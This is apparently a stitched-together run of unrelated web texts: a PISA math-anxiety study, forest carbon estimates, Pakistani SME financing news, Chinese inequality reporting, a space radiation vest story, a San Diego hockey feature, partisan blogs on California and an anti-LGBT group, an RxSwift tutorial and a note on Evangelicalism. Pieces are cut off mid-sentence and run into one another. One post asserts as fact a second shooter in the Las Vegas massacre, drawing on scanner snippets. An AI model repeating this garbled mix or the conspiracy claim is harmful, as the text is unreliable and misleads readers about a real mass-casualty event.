How the gender stratification model can be tested Else-Quest and colleagues [15] offered two possibilities to explain their finding that sex differences in mathematics anxiety are larger in more gender equal countries, both of which we explicitly test (note that at the time of their study, the much larger and more detailed 2012 PISA data set analyzed here was not yet available, and these predictions could not have been tested). The first relates to the idea that more gender-equal countries tend to have lower levels of power distance (Hofstede, 1980), which captures the extent of between-strata social comparisons. As such, Else-Quest and colleagues [15] reasoned that higher gender-equality and smaller power distance would lead girls to compare themselves to boys more than in situations with less gender-equality and larger power distance. The heightened between-sex comparisons would then increase girls’ mathematics anxiety in more gender-equal countries and result in larger sex differences. This is an intriguing idea, but one that was not explicitly tested by Else-Quest and colleagues [15]. We do so here by examining the relation between national indicators of gender equality and sex differences in mathematics performance and anxiety and by contrasting boys and girls from single-sex (less between-sex comparison) and mixed-sex (more between-sex comparison) schools. We reasoned that schools are the main contexts within which cross-sex comparisons would occur for mathematics and thus students in same-sex schools should have fewer opportunities to make those comparisons than students in mixed-sex schools. The second explanation for why the sex differences in mathematics anxiety are larger in more gender equal countries is that mathematics anxiety grows in prevalence when other more basic needs are satisfied, “That is, the experience of math attitudes and affect may be a luxury, most often experienced by individuals who are not preoccupied with meeting more basic needs” [15]. In the current study, we test this explanation using the same proxy used by Else-Quest and colleagues [15] for development (gender equality) and with an additional more direct measure of basic-needs satisfaction (see below). Another key issue raised by the gender-stratification hypothesis is the mechanism through which children are socialized to be attracted or averse to mathematics. Some have argued for the importance of girls modeling the behaviors, attitudes, and affect they observe within their families: “if girls’ mothers, aunts, and sisters do not have STEM careers, they will perceive that STEM is a male domain and thus feel anxious about math, lack the confidence to take challenging math courses, and underachieve on math tests” [15]. One difficulty with this explanation is that many of the countries with the highest percentages of women in research fields score poorly on indicators of gender equality. Moreover, the countries that drive the correlation between the proportion of women in research and mathematics performance are a few less wealthy countries with below median overall mathematics performance (namely, Latvia, Thailand, Tunisia, and Serbia; [50]). Further, while previously used measures of women in research fields surely include many women in STEM careers, not all of the women included in these figures are in STEM careers, or in STEM fields in which men are historically overrepresented. A more direct test would be an assessment of the relation between girls’ mathematics anxiety and family members’ occupations. We do so by testing the prediction that the proportion of mothers to fathers in our sample working in STEM will influence sex differences in mathematics anxiety and performance. In all, we used the data from the two PISA surveys (see Materials and Methods) that focused on both mathematics performance and attitudes towards mathematics; the combination of which enables a more thorough evaluation of the gender-stratification hypotheses than previously possible. The large, diverse sample of students from throughout the world provides an ideal dataset for addressing the important issues raised here. Further, we use the data from the Global Gender Gap Report (see Methods), which provides a prominent international comparison of country-level gender equality, and from the Human Development Report [51], which provides data on the level to which society satisfies basic human needs. In addition to testing the gender-stratification hypothesis, we thoroughly document the empirical relations among mathematics performance, mathematics anxiety, country-level gender equality, and beliefs (of parents and students) about the relative importance of mathematics for boys and girls. It should also be stressed that the current study focuses predominantly on country-level comparisons, for two major reasons. First, country comparisons are generally effective in testing hypotheses about the influence of socio-cultural factors on human behavior, attitudes, and affect. This because socio-cultural factors can differ considerably between countries, and if it is hypothesized that specific socio-cultural factors influence behavior, attitudes, and affect, this should be reflected in between-country variation in behavior, attitudes, and affect. The second reason is related to policy making; specifically, policy makers can learn from and potentially adopt successful educational policies from other countries. And indeed, PISA has had a major influence on policy making since the first reports were published in the early 2000s [52, 53].Although Super Mario Run boasts a player base that’s 10 |
calculations show a significant GPP increase (p < 0.001) from 1982 to 2011 regardless of forest type (Fig. 6), which is broadly consistent with the trend of terrestrial vegetation productivity given by 18 CMIP5 earth system models over the 1986−2005 period10. In terms of averaged annual GPP in the ‘100% coverage’ calculation, the forest types with the greatest carbon dioxide uptake are EBF, MIF, and ENF, with annual GPP of 39.58 ± 3.49 (mean ± 1 standard deviation), 10.84 ± 0.96 and 4.25 ± 0.72 Pg C yr−1, respectively (Table 1). Moreover, the global GPP estimates of forest ecosystems is 58.83 ± 5.61 Pg C yr−1, which is comparable to the observation-based estimations of 52.61−67.54 Pg C yr−1(ref. 1) and satellite-based simulations of 37.59−59.77 Pg C yr−1(ref. 9). As far as ‘realistic coverage’ calculation is concerned, the corresponding annual GPP estimates in EBF, MIF and DNF decrease to 35.13 ± 3.5, 9.65 ± 1.02 and 1.23 ± 0.13 Pg C yr−1, respectively, while ENF and deciduous broadleaf forest (DBF) inversely increase to 4.51 ± 0.75 and 3.19 ± 0.47 Pg C yr−1, and gross carbon dioxide uptake by global forest ecosystems is reduced with an annual GPP of 53.71 ± 4.83 Pg C yr−1, which is comprised of 46.19 ± 4.24 Pg C yr−1 for forest grids and 7.52 ± 1.59 Pg C yr−1 for non-forest grids(Table 1). Overall, compared with the ‘realistic coverage’, the ‘100% coverage’ calculation, which was generally adopted by most previous studies, has overestimated annual GPP across all forest types with exception of ENF and DBF. In terms of global forest ecosystems, the annual GPP is approximately overestimated by 5.12 ± 0.23 Pg C yr−1, accounting for ~8.7% of the global GPP estimates in the ‘100% coverage’ calculation.
Figure 6: Interannual variation in GPP (Pg C yr−1) for different forest types during 1982−2011. a, ENF. b, EBF. c, DNF. d, DBF. e, MIF. f, forest ecosystems. The figure was produced using OriginPro 8.1. Full size imageKARACHI: Under the recently launched policy for the promotion of financing for small and medium enterprises (SMEs), Rs6 billion will be available at a subsidised rate of six per cent for renewable energy projects of up to 50 megawatts in hydro, solar, wind and biogas categories.
According to the document issued by the State Bank of Pakistan (SBP) on Friday, the subsidised loan will be available for up to 12 years. The scheme also incentivises the establishment of small-scale renewable energy solutions of less than 1MW to promote solar usage among consumers.
The policy paper said the financing will be available for the new imported and local plant and machinery and the purchase of new generators of up to 500 kilo volt ampere (kVA) with a subsidised rate of 6pc for 10 years.
The SBP said an innovation challenge fund will also be launched to explore new solutions to promote SME financing through technology.
The SBP will also be collaborating with universities and fin-tech companies to initiate pilot projects for the purpose. The central bank has recommended that the Ministry of Commerce should encourage SME start-ups to export their handicrafts and set up a marketplace website for on-boarding these entrepreneurs on a single platform.
The policy paper said the credit processing time for small enterprises loans has been reduced from 30 days to 15 working days and maximum turnaround time for loan processing of these entities has been fixed at 25 working days.
“The condition of obtaining insurance for financing up to Rs2 million (previously Rs1m) has been made optional for small-enterprise and medium-enterprise financing,” said the SBP.
The central bank has set new targets to achieve the goals for the promotion of SMEs. The key benchmarks to be achieved till 2020 included an increase in the SME share from 8pc of private-sector credit to 17pc and a rise in the number of borrowers from 174,000 to 500,000.
In an effort to improve access to finance for women entrepreneurs in the underserved areas, a refinance and credit guarantee scheme has been offered by the SBP under which financing is available for the setting up of new businesses or expansion of the existing ones.
The SBP’s refinance rate is kept at zero per cent while the end-user rate is up to 5pc. Additionally, 60pc risk coverage is also available against an outstanding principal of banks. Under this scheme, the financing limit is up to Rs1.5m for five years. At least 20pc limits have been allocated for financing in Balochistan, it said.
The SBP, in collaboration with the Sindh Enterprise Development Fund (SEDF), has launched a mark-up subsidy and guarantee facility for rice-husking mills in Sindh. Under this scheme, the SBP provides the refinancing facility and SEDF provides the mark-up subsidy of 4.75pc plus risk sharing of 30pc against lending for the purpose of balancing, modernisation, revamping (BMR) of the rice-husking mills.
The SBP is also supporting the Punjab government in designing a subsidised refinance scheme for the BMR of SMEs in the province.
“The Punjab government is evaluating the possibility of establishing a credit guarantee company,” the SBP said.
Published in Dawn, December 24th, 2017THE main street of Hangbu, a town in Anhui, one of China’s poorer provinces, features the usual mix of rural businesses. Shops selling seeds and fertiliser; others stocked with tools and machinery; a few simple restaurants and a motel. And then there is a shop with a shiny display of iPhones and iPads.
The gadgets are a clue that rural China, long overshadowed by the country’s booming cities, is beginning to do better. More controversially, it also suggests that inequality, epitomised by a huge gap in wealth between cities and the countryside, may be declining. “I would not have opened up if people didn’t have money to buy,” says Yuan Yue, owner of the shop selling iPhones. “The money comes from sweat and toil, but incomes are rising.”
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The gains from China’s remarkable growth of the past 35 years have not been evenly shared. Studies, both official and independent, show that the country has changed from a very equal society into a deeply unequal one. The most commonly used measure of income inequality is the Gini coefficient, a number between 0 and 1 (0 means that all people have the same income, while 1 means that one person has everything). Officially, China’s Gini went from less than 0.3 in the 1980s, making it one of the world’s most equal countries, to nearly 0.5 today, making it one of the least.
Other sources indicate that the deterioration has been even more severe. In a widely cited survey, China’s Southwestern University of Finance and Economics concluded that the Gini had soared to 0.61 by 2010, in the same league as the world’s most unequal countries, such as South Africa. The discrepancy arises in large part because private surveys try to capture a broader range of income sources, including business and investment revenue, whereas official numbers focus on wages.
However, China’s Gini, though high, has started to decline. Officially it has been falling for seven years, from 0.49 in 2008 to 0.46 last year. The Southwestern University survey records only a tiny dip, from 0.61 in 2010 to 0.6 in 2014, but nevertheless corroborates the view that the worst might be past. “Even if official data understate the degree of inequality, the trend of lessening inequality is believable,” says Li Shi of Beijing Normal University.
From a national perspective, the biggest contributor to rising inequality had been the chasm between the countryside and cities. Now it appears to be the main reason for the decline in inequality. In 2009 the average urban income was 3.3 times higher than the average rural income. The gap has since narrowed to 2.7 times, following six consecutive years in which rural incomes have grown more quickly (see chart). Many of these rural folk in fact work in urban areas, staffing factories or toiling in basic service jobs, but China’s restrictive residency system prevents them from settling permanently in cities.
One explanation for the improving fortunes of such migrants is China’s demographic shift. The country’s working-age population has started to shrink. That has helped fuel wage growth for blue-collar workers. Another factor is that companies searching for cheap labour have moved farther inland, reaching parts of the country that are relatively deprived. Mr Yuan says he started selling iPhones in Hangbu after the arrival of a small cluster of electronics factories just outside the town. Along the road to Hangbu’s industrial zone, a man sits at a stall trying to recruit workers. Salaries of 3,000 yuan ($460) a month are just a bit lower than the norm for similar jobs in cities. “Trying to find employees is basically a year-round activity. It comes down to salary. If they aren’t happy, they leave,” says the recruiter.
This exemplifies a theory laid out in 1955 by Simon Kuznets, a Nobel-prize-winning economist. He argued that as a country starts developing, a big gap opens between those lucky enough to work in better-paid jobs and those languishing in agriculture. But as growth continues, enough people are eventually absorbed into modern parts of the economy to reduce inequality again. Although the theory breaks down as countries get even richer, China seems to be following it for now.
Household income inequality: ladders to climb
Yet the shift has not occurred entirely spontaneously. It stems in part from redistributive policies. Over the past decade China has expanded basic health insurance and welfare, made the first nine years of school free in rural areas and abolished a centuries-old agricultural tax.
Much more can still be done. Government spending on rural areas is still too low, especially through the state pension system. More fundamentally, Chinese law condemns country people to second-class status. In addition to the restrictions on moving to cities, they cannot sell their land, depriving them of what would otherwise be their most valuable asset. Without changes, inequality will continue to plague China. “If we purely rely on economic development, inequality won’t truly fall,” says Gan Li of the Southwestern University of Finance and Economics.
Moreover, the idea that income inequality may be declining is not obvious to many. Inequality of wealth (what people own, as opposed to what they earn) remains extreme. China has more dollar billionaires (596) than America (537), according to the 2015 Hurun rich list. A study by Peking University earlier this year found that the top 1% of Chinese households controlled a third of the country’s assets.
Ostentatious displays of wealth are less frequent since Xi Jinping took over the Communist Party in late 2012 and began a crackdown on corruption. But sports cars, ritzy restaurants and luxury clothing stores are still common in big cities. They are reminders of the riches of a small urban elite, even if the odd rural iPhone points to rising incomes in the countryside.Based on all my research into this event, there was in fact a 2nd shooter which was positioned on the roof of AMPM ~300 yards North of the fairgrounds stage (shooter #1 from the Mandalay Bay 32nd floor ~500 yards South-West of the fairgrounds targeted the Southern fairgrounds and the people fleeing South, while shooter #2 from the AMPM roof ~250 Yards North of the fairgrounds targeted the Northern fairgrounds and the people fleeing North).
Bird's-Eye View of Both Shooting Positions (Primary Attack + Secondary Ambush)
Angled View of 2nd Shooter Position (Secondary Ambush)
32nd Floor Perspective View of 1st Shooter Nest Position (Primary Attack)
sidenote: All text in "quotes" below are from police scanner transmissions from that night (over a ~60 minute period).
Shooter #2 not only targeted the fairgrounds but also targeted people East of the Catholic shrine by Giles Street and Ali Baba NE of the fairgrounds ("Control 224-IC confirming I have casualties at Ali Baba and Giles east of the Catholic shrine as well as in the Mandalay Bay, so we have 2 scenes") as well as targeting medics responding to the scene who were positions over near the street by the entrance to the Tropicana ("Control 374 I got medics reporting they are being shot at, at the Tropicana"... "Be advised that there is an active shooter at the Tropicana, active shooter Tropicana"), who after the fairground shooting fled North through the western Tropicana parking lot, before crossing the street by the Excalibur and then entering New York New York, but upon entering New York New York is IDed by the front desk as an active shooter ("We're getting a 415A, from the advisor that there was a shooter at the front desk [New York New York].") causing him to flee the scene, but before getting out of the building is confronted which causes him to shoot his way out ("Control 35-SD we have possible reports of shots fired inside New York New York"), fleeing South back the way he came towards Excalibur ("They have records at the 415A at New York there might of been an active shooter possibly coming down the escalator from New York New York to Excalibur") before crossing the road and getting in a white RV parked back over in the western Tropicana parking lot ("There is 1 WMA [White Male Adult] in black fatigues in a white RV off of Cobalt and Tropicana") where he again attempted to flee the scene North but is stopped near the intersection by the Bellagio and Caesars Palace where he gets in a standoff with police which leads to a shootout ("Be advised that now we are getting shots fired at Caesars and the Bellagio").
The entire 2nd shooter event from first shots fired (at fairground) to last shots fired (by the Bellagio) took place over approximately 1 hour period of time. As added context the shooting by the Bellagio took place ~45 minutes after the fairground shooting had already finished.
Sidenote: It is also possible that the 2nd shooter was instead on the raised billboard a few feet West of the AMPM. Both positions are in extremely close proximity to each other, offer a slightly elevated vantage point of the fairground, provide full ambush coverage of the Northern escape path, are within distance of the fairground the Catholic Shrine and the Tropicana (all 3 of which are shot at), and allow for a clear Northern escape path for the shooter to run in the aftermath (basically think of both these 2 positions as interchangeable).
Street View of Potential 2nd Shooter Alternate Ambush Position (10 Feet West of AMPM)
Added Context: Forensic acoustic proof of SECOND shooter in the Las Vegas massacreBy Ori Lewis and Rinat Harash
HAIFA, Israel (Reuters) - A vest designed to shield astronauts from deadly solar particles in deep space is set for trials on a lunar mission ready for deployment on any manned mission to Mars, its Israeli developers said.
The AstroRad Radiation Shield has been devised by Tel Aviv-based StemRad, which has already produced and marketed a belt to protect rescue workers from harmful gamma ray radiation emitted in nuclear disasters, such as Chernobyl and Fukushima.
The vest will protect vital human tissue, particularly stem cells, which could be devastated by solar radiation in deep space or on Mars, whose sparse atmosphere offers no protection, StemRad's CEO Oren Milstein said.
U.S. space agency NASA has said it hopes to send astronauts to Mars in the mid-2030s.
The vest is made of layers that look like a contoured map and will be tailor-made for each astronaut. Non-metallic protective materials will be positioned on each shield to cover the organs of each astronaut.
"This product will enable human deep space exploration. Our breakthrough has come in creating the architecture of the multi-layered shield to accurately cover the most important organs," Milstein said.
StemRad say it has proven the concept in the laboratory and in simulations, but testing will also take place on the Orion spacecraft, a joint project of Lockheed Martin, NASA and the European Space Agency.
Orion is set to orbit the moon unmanned during the debut flight of NASA's heavy-lift Space Launch System rocket, scheduled for late 2018 but it is also assessing the feasibility of flying two astronauts on that mission.
During the lunar flyby mission, the vest will be strapped to a "phantom" torso dummy, a device used to monitor radiation absorption. Another phantom will fly unprotected and the two will be analyzed after they return to Earth.
NASA had no immediate comment on how the test could be affected if the agency decided to put astronauts on Orion.
Stemrad's chief technologist, Gideon Waterman, said the vest needed to combine density with flexibility to protect astronauts while enabling them to move about as freely as possible.
Mock-ups have been made, and the first protective vest is expected to be produced by the end of the year, Milstein said.
"Based on our simulations, we're sure it works but to be 100 percent sure, we're sending it up on EM-1," he said, referring to NASA's Exploration Mission-1, the first flight of the combined Space Launch System rocket and the Orion capsule.
The Orion will have its own small shelter for solar storms or flares that have dangerous bursts of radiation, and the vest, Milstein said, will offer the same degree of protection so astronauts can keep safe in other parts of the spacecraft.
Astronauts in Earth's orbit, such as those on the International Space Station, do not face the same risk because they are protected by the planet's magnetic field which acts as a shield, he added.
(Additional reporting by Irene Klotz in Cape Canaveral, Fla.; Writing by Ori Lewis; Editing by Jeffrey Heller and Alison Williams)Joel Kotkin over the The Daily Beast has scribbled out the millionth version of the “California is Dying” article–a genre of conservative wishful thinking that turns out to be hilariously wrong every time it is written. For years the story was that California would become the next Greece: hopelessly in debt, unable to pay its bills, with an exodus of taxpayers. That turned out to be bunk, of course: all the state needed was a 2/3 Democratic supermajority and a Democratic governor, and the state’s fiscal situation was rectified almost immediately.
The new opportunity to concern-troll California with big business propaganda comes with the drought. The drought has become the platform from which the conservative complaint machine hits all its favorite targets: Silicon Valley and Hollywood elites, environmentalists, immigrants, and public works (especially transportation.) Republicans who wish they could turn California into Texas want the state to divert rail funding into building more freeways, drain the wetlands to support oil fracking and big agriculture, and close down the borders so that racist whites will feel a little less uncomfortable. They also want to build lots and lots of desalination plants, and blame progressive policy for the widening income inequality gap that sets the wealthy coast apart from the poorer interior.
Fortunately, however, California isn’t Texas. We’re smarter and more patient than that.
We know that without addressing climate change, nothing we do in the short-term to alleviate drought issues is going to matter all that much. The droughts will get harsher and more severe, which will eventually flip the conversation from an annoyance about giving up almonds and front lawns to an existential question about whether parts of the state are even habitable. The only way to handle it is to lead the nation on climate change abatement, setting a gold standard as the nation’s most prosperous and most populous state.
We also know that no matter how much we spend on freeways, the state’s population and projected growth is such that we need alternatives, including but not limited to high-speed trains. The need for and efficacy of high-speed rail isn’t theoretical. Anyone who has been to Europe, China or Japan has seen that their rail services are heavily used and light years beyond anything we have in the states. There may come a day when self-driving cars provide greater efficiency and safety to freeway commutes, and when hydrogen and electric vehicles reduce the carbon emissions of all that freeway traffic. But that day is not today, and alternatives will be necessary regardless.
Fortunately for us, Californians are also aware that draining all of our natural resources and killing all of our wildlife is not a good plan for the future. Permanently destroying our wetlands and driving species to extinction so that frackers, golfers and almond farmers can continue to abuse exorbitant amounts of water is not the answer. It’s not just public policy makers that understand this, but the majority of California voters: much of the wetlands restoration is enshrined into California’s state constitution via the initiative process.
As for desalination, it is certainly on the table–many communities are already implementing desalination plans. But desalination can only do so much, and it is very costly and energy intensive. Much more can be done in the short term through reasonable efforts at conservation, a challenge that Californians in our wisdom are more than prepared to meet.
Finally, with respect to income inequality, conservatives have this bizarre fantasy about liberalism and feudalism. There they engage in classic psychological projection: it is progressive policy that protects the public from feudalism. It is conservative economic policy that is the guaranteed destruction of the middle class and harbinger of feudalism. Income inequality is growing everywhere, largely as a result of Reaganite and Thatcherite public policy, but also due to economic forces like automation. Those effects are most obvious where there is the greatest prosperity and economic activity–places like California and New York that drive most of the economic engine of America and pay more taxes to the federal government than they get back, so that states like Alabama and Kansas can have the road signs whose costs their own economies are too feeble to cover.
California, as usual, will survive just fine. The drought will eventually end; our forward-thinking climate policies will do much to reduce the severity of future droughts; a combination of wise planning and conservation will protect the public and the environment; our progressive transportation policies will ensure multi-modal options even as California-based entrepreneurs like Google and Elon Musk work to make car travel smarter and more sustainable; our immigration policies will continue to make our diversity one of our greatest strengths; and our economic policies will continue do much to mitigate the ill effects of wealth and income inequality exacerbated by conservative economic policy by providing education, healthcare and decent safety net to all.
And the California model will continue to roll forward, superior to the immoral, inhuman and unsustainable Texas model, while still covering the tab for all the federal infrastructure most of the red states can’t figure out how to pay for themselves.Ari Segal, president of business operations for the San Diego Gulls and one of the architects in returning hockey to San Diego, emphatically states, “… we are not a minor league team.”
The Gulls are the American Hockey League affiliate for the Anaheim Ducks.
"You’ll never see ‘minor league’ in any of our branding, any of our collateral, anything anyone says from our staff ever says publicly," said Segal. "We’re not a minor league team."
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Then what are they?
"[The AHL is] the second best hockey league in the world, and we are San Diego’s professional hockey team,” said Segal.
San Diego is part of the four team AHL expansion to California. The newly formed Pacific Division includes: the Gulls, Ontario Reign (Los Angeles Kings), Texas Stars (Dallas Stars), San Jose Barracuda (San Jose Sharks), Bakersfield Condors (Edmonton Oilers), Stockton Heat (Calgary Flames), and San Antonio Rampage (Colorado Avalanche).
Last weekend the Gulls wrapped up their first season back in San Diego in the second round of the playoffs with a 4-1 series loss to the Ontario Reign. While the end result wasn't what the team was hoping for, the return to San Diego was a success.
The Gulls last played hockey in San Diego in the 2005-06 season. A decade later, was the classiest city in the world ready for the return of the franchise?
Short answer: Yes.
Based on the AHL's average attendance figures alone, the Gulls were second behind the Hershey Bears.
The AHL
It all starts back in January 2015. The Anaheim Ducks announced they had purchased the Norfolk Admirals with the intent of moving the team to San Diego. The decision to take the team to San Diego wasn’t just because of the availability of the arena and the proximity to Anaheim (a 90 minute drive up the 5 Freeway, if you're lucky).
Story continues
It was far more strategic.
“There’s a media landscape that lends itself incredibly well to us,” said Segal, “... you have an NFL team that plays primarily in the fall. A major league baseball team that plays primarily in the summer … from January to March - which is the peak for the American Hockey League - … total vacancy.
“Every network here has a full time sports anchor. The paper has multiple beat reporters and columnists and editorial to support those teams. There’s all sorts of bloggers... and all of those entities are thirsty for content. We plug in right at a time where they need to fill pages and space and generate clicks and everything else, and add to that, because we’re an AHL club, not an NBA or NHL club, we don’t compete with the Padres or Chargers.
"We’re completely non-threatening to them, and in fact, complementary because we can keep their fans engaged in sports... We can kind of be all things to all people.”
Coverage is fantastic, but what the group needed next was the buy in from the locals.
“There is a relocated population," said Segal. "People who live in San Diego aren’t even from San Diego. They’re from other places and they come here. So a lot of them have grown up with hockey. Plus, because of the military, there is a largely transient population that is from all over the country, and is coming and going and looking for activity.”
We went to Game 2 in San Diego against the Reign, and saw exactly what Segal was talking about.
In addition to the expected Gulls, Reign, Ducks and Kings jerseys on fans, we saw people wearing gear from: the San Jose Sharks, New York Rangers, Washington Capitals (Mike Green), Chicago Blackhawks (Jonathan Toews), Philadelphia Flyers (Mike Richards and Shane Gostisbehere), old Winnipeg Jets (Teemu Selanne), and oddly enough, Atlanta Thrashers (Zach Bogosian).
San Diego appeared to be a market just waiting for their team to return. However, according to Segal, it wasn't a predetermined conclusion the team returning to San Diego would be named the Gulls.
San Diego Gulls Hockey Club
"The team we acquired was named the Admirals. This is a Navy town. The Navy presence is bigger here than Norfolk; why not keep the Admirals name? Well, there are a lot of reasons why that would have been a bad decision. Not the least of which is, there is a another team in the AHL that has the name ‘the Admirals.’”
[Author's Note: Norfolk, Virginia is the home of the largest US Naval Base. There is a large presence in San Diego, but Norfolk boasts the largest Naval Base state-side]
To the Gulls, there is nothing more ‘minor league’ than having two teams with the same name.
Ultimately, the decision to go with the Gulls was three fold, said Segal, "First of all, it’s a complimentary brand to the Ducks. Second, the existing color palate was complementary to the Ducks.
"And third, if I’m in an elevator with someone in San Diego and I have 15 seconds to make an impression, and I say, ‘I work for the Gulls. The Gulls are back in San Diego.’ They know it’s a hockey team, and they know where we play. Any other name, you have to explain, ‘Oh we’re the new professional hockey team,’ and probably get some question about, ‘Oh, what happened to the Gulls?’"
Seems like a simple decision then to go with the Gulls as the team name. It also acted as an invitation to the San Diegans that were here a decade ago.
"... we were able to extend that name as an olive branch to the people that were here that were waiting for the team to come back. It was a way to say, ‘We want you back the same way we’re bringing hockey back.’"
The team worked hard to come up with a marketing concept for the first year back in San Diego that would invite new and old fans alike back to Valley View Casino Center (formerly the San Diego Sports Arena).
"Something really, really simple, an inaugural season logo, we spent a lot of time trying to think about how can we both subtly and directly message to the people here either hockey is back," Segal said as he explained a branded, military inspired 'challenge coin.'
"This is the logo that we created for this season... There is so much subtlety to this."
San Diego Gulls Coin
"San Diego has a lot of civic pride, and is very keen on differentiating itself from LA or Southern California or anywhere else. ‘America’s Finest City’ is not something to be taken lightly. They mean it. They believe it. It was important for us to work that into our inaugural branding. That’s number one.
"Number two. Is it an inaugural season? If we say it’s our 'inaugural season' we alienate all the old Gulls fans because they say, ‘I was here in 2000 when we won the Taylor Cup. What do you mean? It’s not inaugural. I watched Willie O’Ree in 1967. What’s inaugural?.’ You’ve alienated them.
"If you say something like, ‘The Gulls are back,’ then you completely diminish the value that the AHL branding and the connection to the Ducks brings in. So ‘inaugural AHL season’ allows us to be all things to both of those constituencies.
"... the logo overall, looks like a military ring. That’s an ode to the military history and tradition of San Diego."
(The armed forces presence is most certainly there among the fans. During a stoppage in Game 2, the PA announcer asked all current and former military members to stand. Of the nearly 8,000 fans in attendance, about 25 percent of them stood up to be cheered for a full minute by the crowd.)
"... [the orange and blue] bar and stripes. Each of these stars represents one of the versions of the Gulls: The WHL, the IHL, the WCHL, and then us... see the connection to the Ducks. There’s the Ducks windswept font.
"It’s a great market, but we also spent a lot of time trying to understand the market, and trying to make sure that they way we entered the market was a way that the market would want to receive us."
And receive them they did.
In the first season ticket run of the team's return, they sold approximately 3,000 tickets to fans. Of those season seats sold, 1,200 were purchased for a three-year term.
According to Segal, "... we understood that, especially in the American league, the value of the customer you have dramatically exceeds the value of the newly acquired customer.
"Renewing our existing base of season ticket holders was way more important than growing and selling new full season tickets. At every turn, where they opportunities have been a choice between do marketing to try to bring in new fans or figure out a way to service our existing fans, we’ve always gone with the latter."
Thus far, the Gulls are at about 2,550 season tickets going into year two. Now 2,400 of those tickets are on a multi-year platform - doubling the total from year one.
For making the multi-year commitment to the team, the Gulls return the favor by including various perks such as access to the players, Q&As with Dallas Eakins and Segal, and in a neat gesture, got to sign the end boards during a 'Founders Day' celebration. The dasher stayed up all season long and was a point of pride for Segal.
San Diego Gulls Hockey Club
Much of the Gulls success has to do with the product on the ice, too. The future of many organizations come through San Diego at least once.
"On any given night you might see 10 to 15 first and second round, third round draft picks on the ice," said Segal.
The benefit to the fans to see those young players before they hit the big time is obvious. It helps the parent club, too.
Prior to the move, any player called up from Norfolk had to take a seven hour plane ride across the country to get to and from their assignment. Now they just jump in the car or take the train up to Anaheim.
"There have been guys who get called up, and they go up to practice," said Segal. "What an experience with zero risk and basically zero cost for a young player to have that, and for all the other players to see that at any moment you can get called up."
This gain extends to the front office, too. According to Segal, most of the Ducks senior player personnel, including Ducks GM Bob Murray, are at a majority of the games. Within a five hour driving radius, scouts can see home games for the Gulls, Reign, Condors, and next season, the Tucson team relocated by the Arizona Coyotes.
All in all, hockey's return to San Diego has been a successful one.
The team played well, even though they didn't get past the Reign. Fans enjoyed themselves (and with two-dollar beer night on Fridays, how could they not?). The parent company is happy.
There's not much left to say except: You stay classy, San Diego.
- - - - - - -
Jen Neale is an editor for Puck Daddy on Yahoo Sports. Have a tip? Email her at puckdaddyblog@yahoo.com or follow her on Twitter! Follow @MsJenNeale_PD.
MORE FROM YAHOO HOCKEY:Most of us who’ve been involved in the fight for gay marriage equality are familiar with the National Organization for Marriage (sic).
Founded in 2007 by Maggie Gallagher and Brian S. Brown, their first attempt to deny civil rights to LGBT Americans was for a Massachusetts constitutional amendment to stop and ban gay marriage in that state. Same sex marriage in Massachusetts had been legal for several years by then. The attempt failed, thankfully.
But that didn’t stop them. In state after state, they’ve fought either to pass gay marriage bans or to rescind marriage rights already granted. In fact, in California in 2008, they spent $1.8m to help pass Prop 8, and lobbied intensively ever since then to keep it from being overturned by the courts.
Time after time, NOM’s leaders and spokes-haters claim all they care about is marriage, and keeping marriage limited to heterosexuals. However, they’ve been accused on numerous occasions of simply being an anti-gay hate group, pure and simple, and even were identified as such by the Southern Poverty Law Center in 2010.
This past summer, California passed an education bill, the School Success and Opportunity Act (SSOA)
(M)aking it clear that California public schools have a responsibility to ensure that all of their students—regardless of their gender identity—can access school-based resources. While several of California’s largest school districts had already adopted gender-inclusive policies prior to the bill’s passage, many of the state’s nearly 1,000 school districts unfairly separated transgender students from their peers or required them to enroll in and attend classes that conflicted with their gender identity. The SSOA clarifies the state’s existing nondiscrimination law and protects some of the most vulnerable members of the lesbian, gay, bisexual, and transgender, or LGBT, community.
Guess who has decided this must not be allowed to stand? Why, the National Organization for Marriage, of course!
// // // An effort to overturn a new law allowing transgender students to choose which school restrooms they use and whether to play boys or girls sports got a boost Friday when a major player in the passage of California’s now-defunct same-sex marriage ban threw its support behind the campaign. The National Organization for Marriage announced it was working with another conservative group, the Capitol Resource Institute, to repeal the law at the ballot box. The marriage group provided early fundraising and organizing for the 2008 ballot initiative that outlawed same-sex marriages, known as Proposition 8.
Last I checked, you could not possibly get further away from the idea of “marriage” — nor offer more proof of being nothing more or less than an anti-LGBT hate group. I mean, really — what’s the harm in letting a kid use a restroom appropriate to his or her presented gender? Or, for example, ensuring that a transgender boy or girl has a chance to compete on sports teams with the rest of the boys or girls?
I mean, really, the one thing opposition to gay marriage equality rights and seeking to overturn a transgender rights law have in common is obvious: Animus for LGBT folks, period.Edit 18.01.2017: This post was updated to Swift 3.0 and RxSwift 3.1
In the first chapter we’ve learned the basics about RxSwift and RxCocoa (if you haven’t seen it yet, I really encourage you to do so!). The time has come and we will expand our knowledge in a reactive way. Today we will talk about bindings.
Don’t worry, binding just means connecting and we will connect our Observables with Subjects. There is some terminology that we haven’t learned before, so…
Definitions
Before we start we need to get in touch with some definitions. We learned about Observables and Observers and today we will learn about other types.
Subject – Observable and Observer at once. Basically it can observe and be observed.
BehaviorSubject – When you subscribe to it, you will get the latest value emitted by the Subject, and then the values emitted after the subscription.
PublishSubject – When |
the need for personal conversion (or being "born again"); some expression of the gospel in effort; a high regard for Biblical authority; and an emphasis on the death and resurrection of Jesus.[23] David Bebbington has termed these four distinctive aspects conversionism, activism, biblicism, and crucicentrism, saying, "Together they form a quadrilateral of priorities that is the basis of Evangelicalism."[24]
Note that the term "Evangelical" does not equal Fundamentalist Christianity, although the latter is sometimes regarded simply as the most theologically conservative subset of the former. The major differences largely hinge upon views of how to regard and approach scripture ("Theology of Scripture"), as well as construing its broader world-view implications. While most conservative Evangelicals believe the label has broadened too much beyond its more limiting traditional distinctives, this trend is nonetheless strong enough to create significant ambiguity in the term.[25] As a result, the dichotomy between "evangelical" vs. "mainline" denominations is increasingly complex (particularly with such innovations as the "Emergent Church" movement).
The contemporary North American usage of the term is influenced by the evangelical/fundamentalist controversy of the early 20th century. Evangelicalism may sometimes be perceived as the middle ground between the theological liberalism of the Mainline (Protestant) denominations and the cultural separatism of Fundamentalist Protestantism.[26] Evangelicalism has therefore been described as "the third of the leading strands in American Protestantism, straddl[ing] the divide between fundamentalists and liberals."[27] While the North American perception is important to understand the usage of the term, it by no means dominates a wider global view, where the fundamentalist debate was not so influential.
